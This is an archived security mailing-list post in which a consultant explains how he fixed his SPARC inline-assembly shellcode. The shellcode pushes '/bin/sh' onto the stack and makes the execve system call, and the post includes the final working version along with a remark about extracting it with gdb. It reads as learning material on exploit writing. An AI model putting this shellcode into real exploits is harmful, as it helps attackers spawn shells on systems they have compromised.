RE: SPARC assembly - a beginner's question...
"Steve Wilson" <[email protected]>
| Newsgroups | gmane.comp.security.sun |
|---|---|
| Message-ID | <[email protected]> |
Hi all, Thanks to everyone who replied to this - I've managed to solve the problem now - and thought I'd send a quick message summarising my results for anyone who is interested. From: Steve Wilson [mailto:[email protected]] > > __asm__(" > set 0x2F62696E, %o0 ! %o0=/bin > st %o0, [%fp-8] ! push ^ onto stack > set 0x2F736800, %o0 ! %o0=/sh\0 > st %o0, [%fp-4] ! push ^ onto stack > add %fp, -8, %o0 ! %o0=address of string > or %g0, %g0, [%fp-12] ! clear %fp-12 > st %o0, [%fp-16] ! write pointer to string onto stack > add %fp, -16, %o1 ! %o1=pointer to pointer to string > or %g0, %g0, %o2 ! %o2=NULL > mov 0x3b, %g1 ! set value in global register > ta 8 ! system trap > "); > } Problems with the above code: 1. The main problem (that was stopping it from compiling properly) appeared to be the "! %o0=/sh\0" comment. The "\0" character was being interpreted as a terminator to the __asm__ string resulting in compilation stopping at that point. I've also had issues where I'd put '"' characters in comments which resulted in compilation issues. 2. It is not possible to store a 32bit value (for example 0x2f62696e) with a single set command[*]. The sethi instruction should be used(in conjunction with %hi()) to set the high 22 bits followed by an or (in conjunction with %lo()) to set the remaining bits. As shown in the following code snippet: sethi %hi(0x2F62696E), %l2 ! put /bin in %l2 or %l2, %lo(0x2F62696E), %l2 ! 2 stage-process sethi 0x2F736800, %l3 ! put /sh in %l3 std %l2, [ %sp ] ! push ^ onto stack In this instance, because the second value has the lower 10 bits all set to 0, it is not necessary to make an or instruction to set the lower bits. [*]: NB: Although it isn't "proper" assembly - gcc will compile a set {32bit-val}, {addr} - and convert it into the appropriate "sethi" and "or" instructions. This appears to be used as a shortcut by some (Dave certainly does it in his example document) so they can write shorter code and use gdb to extract the shell code after the compiler has fixed it. 3. "clr {addr}" != "or %g0, %g0, {addr}" "clr {addr}" = "st %g0, {addr}" So, after a re-write, I'm left with the following working code: __asm__(" sethi %hi(0x2F62696E), %l2 ! hi bits of /bin or %l2, %lo(0x2F62696E), %l2 ! lo bits of /bin sethi %hi(0x2F736800), %l3 ! hi bits of /sh std %l2, [ %sp ] ! push string onto stack st %sp, [ %sp + 8 ] ! address of /bin/sh string st %g0, [ %sp + 12 ] ! clear %sp+12 mov %sp, %o0 ! %o0 = pointer to string add %sp, 8, %o1 ! %o1 = ptr to ptr to string mov 0, %o2 ! %o2 = NULL add %sp, 16, %sp ! mov 0x3b, %g1 ! set value in global register ta 8 ! system trap "); Changes: 1. Using local registers %l2 and %l3 to store /bin/sh\0 rather than %o0 looping; 2. Single std command to push this string onto stack; 3. Use of [ %sp + # ] rather than [ %fp - # ]; 4. Comments that don't break the compiler! ;-) Now all I have to do is work out what to do with it next... Cheers, Steve. -- Stephen Wilson Senior Security Consultant Security Health Check L305/9, QinetiQ, St Andrews Rd, Malvern, Worcs, WR14 3PS Tel: 01684 894153 Fax: 01684 897417